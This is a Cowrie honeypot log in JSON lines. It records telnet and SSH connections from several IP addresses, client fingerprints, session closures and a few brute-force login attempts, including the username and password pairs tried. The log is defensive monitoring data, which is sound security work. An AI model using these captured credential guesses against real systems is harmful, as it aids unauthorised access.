{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":48718,"dst_ip":"159.203.135.109","dst_port":23,"session":"1478a0ab8d4b","protocol":"telnet","message":"New connection: 104.248.46.74:48718 (159.203.135.109:23) [session: 1478a0ab8d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:21.156006Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49252,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f5bc6d748f","protocol":"telnet","message":"New connection: 104.248.46.74:49252 (159.203.135.109:23) [session: 09f5bc6d748f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:22.641480Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3892b5055b80","protocol":"telnet","message":"New connection: 104.248.46.74:49370 (159.203.135.109:23) [session: 3892b5055b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:23.171151Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":49706,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ebe698bae82","protocol":"ssh","message":"New connection: 103.215.80.173:49706 (159.203.135.109:22) [session: 0ebe698bae82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:23.513043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:23.517150Z","src_ip":"103.215.80.173","session":"0ebe698bae82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:23.725037Z","src_ip":"103.215.80.173","session":"0ebe698bae82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:24.590234Z","src_ip":"103.215.80.173","session":"0ebe698bae82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:24.830019Z","src_ip":"103.215.80.173","session":"8e5ae7d1dea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:24.835954Z","src_ip":"103.215.80.173","session":"0ebe698bae82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.07934522628784,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:25.750736Z","src_ip":"208.82.116.131","session":"95d380642738","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":50238,"dst_ip":"159.203.135.109","dst_port":23,"session":"69dcbee27a09","protocol":"telnet","message":"New connection: 104.248.46.74:50238 (159.203.135.109:23) [session: 69dcbee27a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:26.883692Z"}
{"eventid":"cowrie.session.closed","duration":39.12423276901245,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:27.800556Z","src_ip":"104.248.46.74","session":"27759b928708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.124128103256226,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:28.715536Z","src_ip":"208.82.116.131","session":"09fc15116bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54102,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0955c470fb8","protocol":"ssh","message":"New connection: 159.203.92.129:54102 (159.203.135.109:22) [session: c0955c470fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:31.598524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:31.604225Z","src_ip":"159.203.92.129","session":"c0955c470fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:31.842666Z","src_ip":"159.203.92.129","session":"c0955c470fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amasuda","password":"amasuda","message":"login attempt [amasuda/amasuda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:31.854720Z","src_ip":"159.203.92.129","session":"c0955c470fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:32.865074Z","src_ip":"159.203.92.129","session":"c0955c470fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.36459732055664,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:34.950738Z","src_ip":"162.253.42.116","session":"c7e51d321cbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20292901992798,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:35.666271Z","src_ip":"104.248.46.74","session":"8adc589032d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.009846448898315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:37.855728Z","src_ip":"174.136.57.21","session":"40616714dd2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7877543df0","protocol":"telnet","message":"New connection: 162.253.42.116:35000 (10.17.0.5:23) [session: 7d7877543df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:39.493589Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ea2a936c6f8","protocol":"telnet","message":"New connection: 162.253.42.116:38618 (10.17.0.5:23) [session: 7ea2a936c6f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:46.166437Z"}
{"eventid":"cowrie.session.closed","duration":30.67534327507019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:46.501902Z","src_ip":"174.136.57.21","session":"cd80bb786742","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":33490,"dst_ip":"10.17.0.5","dst_port":22,"session":"c66994baa9ce","protocol":"ssh","message":"New connection: 45.78.194.242:33490 (10.17.0.5:22) [session: c66994baa9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:47.209385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:47.213681Z","src_ip":"45.78.194.242","session":"c66994baa9ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:47.459413Z","src_ip":"45.78.194.242","session":"c66994baa9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.816343784332275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:50.175419Z","src_ip":"162.253.42.116","session":"f7b96da12b40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":57416,"dst_ip":"159.203.135.109","dst_port":23,"session":"5942d4650e21","protocol":"telnet","message":"New connection: 104.248.46.74:57416 (159.203.135.109:23) [session: 5942d4650e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:51.272443Z"}
{"eventid":"cowrie.login.failed","username":"test1","password":"testtest","message":"login attempt [test1/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:51.281663Z","src_ip":"45.78.194.242","session":"c66994baa9ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:52.529949Z","src_ip":"45.78.194.242","session":"c66994baa9ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50260,"dst_ip":"10.17.0.5","dst_port":23,"session":"01fad31f1d5a","protocol":"telnet","message":"New connection: 162.253.42.116:50260 (10.17.0.5:23) [session: 01fad31f1d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:54.010354Z"}
{"eventid":"cowrie.session.closed","duration":32.95816659927368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:54.114063Z","src_ip":"104.248.46.74","session":"1478a0ab8d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":59498,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26252943776","protocol":"telnet","message":"New connection: 104.248.46.74:59498 (159.203.135.109:23) [session: c26252943776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:56.621412Z"}
{"eventid":"cowrie.session.closed","duration":34.55718183517456,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:57.728232Z","src_ip":"104.248.46.74","session":"3892b5055b80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.244507789611816,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:33:58.885845Z","src_ip":"104.248.46.74","session":"09f5bc6d748f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.377639055252075,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:02.261208Z","src_ip":"104.248.46.74","session":"69dcbee27a09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.184447050094604,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:13.677958Z","src_ip":"162.253.42.116","session":"7d7877543df0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":35454,"dst_ip":"159.203.135.109","dst_port":23,"session":"257d5e97590b","protocol":"telnet","message":"New connection: 104.248.46.74:35454 (159.203.135.109:23) [session: 257d5e97590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:13.972690Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57230,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d97c00e701e","protocol":"ssh","message":"New connection: 159.203.92.129:57230 (159.203.135.109:22) [session: 5d97c00e701e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:15.361741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:15.366121Z","src_ip":"159.203.92.129","session":"5d97c00e701e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:15.370905Z","src_ip":"159.203.92.129","session":"5d97c00e701e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amavis","password":"123","message":"login attempt [amavis/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:15.385126Z","src_ip":"159.203.92.129","session":"5d97c00e701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:16.390797Z","src_ip":"159.203.92.129","session":"5d97c00e701e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.797581672668457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:17.963905Z","src_ip":"162.253.42.116","session":"7ea2a936c6f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36076,"dst_ip":"159.203.135.109","dst_port":23,"session":"19148ec58ea5","protocol":"telnet","message":"New connection: 208.82.116.131:36076 (159.203.135.109:23) [session: 19148ec58ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:26.286969Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c67777ea4fc9","protocol":"telnet","message":"New connection: 208.82.116.131:36116 (159.203.135.109:23) [session: c67777ea4fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:26.406419Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":36118,"dst_ip":"159.203.135.109","dst_port":23,"session":"332fb29ed15f","protocol":"telnet","message":"New connection: 208.82.116.131:36118 (159.203.135.109:23) [session: 332fb29ed15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:26.425420Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":38982,"dst_ip":"159.203.135.109","dst_port":23,"session":"a42f08341ad7","protocol":"telnet","message":"New connection: 104.248.46.74:38982 (159.203.135.109:23) [session: a42f08341ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:27.955402Z"}
{"eventid":"cowrie.session.closed","duration":32.329444885253906,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:28.950754Z","src_ip":"104.248.46.74","session":"c26252943776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.053943157196045,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:29.064178Z","src_ip":"162.253.42.116","session":"01fad31f1d5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.233927965164185,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:31.520779Z","src_ip":"208.82.116.131","session":"19148ec58ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.215.80.173","src_port":37294,"dst_ip":"159.203.135.109","dst_port":22,"session":"2113e6beac46","protocol":"ssh","message":"New connection: 103.215.80.173:37294 (159.203.135.109:22) [session: 2113e6beac46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:34.196747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:34.200995Z","src_ip":"103.215.80.173","session":"2113e6beac46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:34:34.410488Z","src_ip":"103.215.80.173","session":"2113e6beac46","protocol":"ssh"}
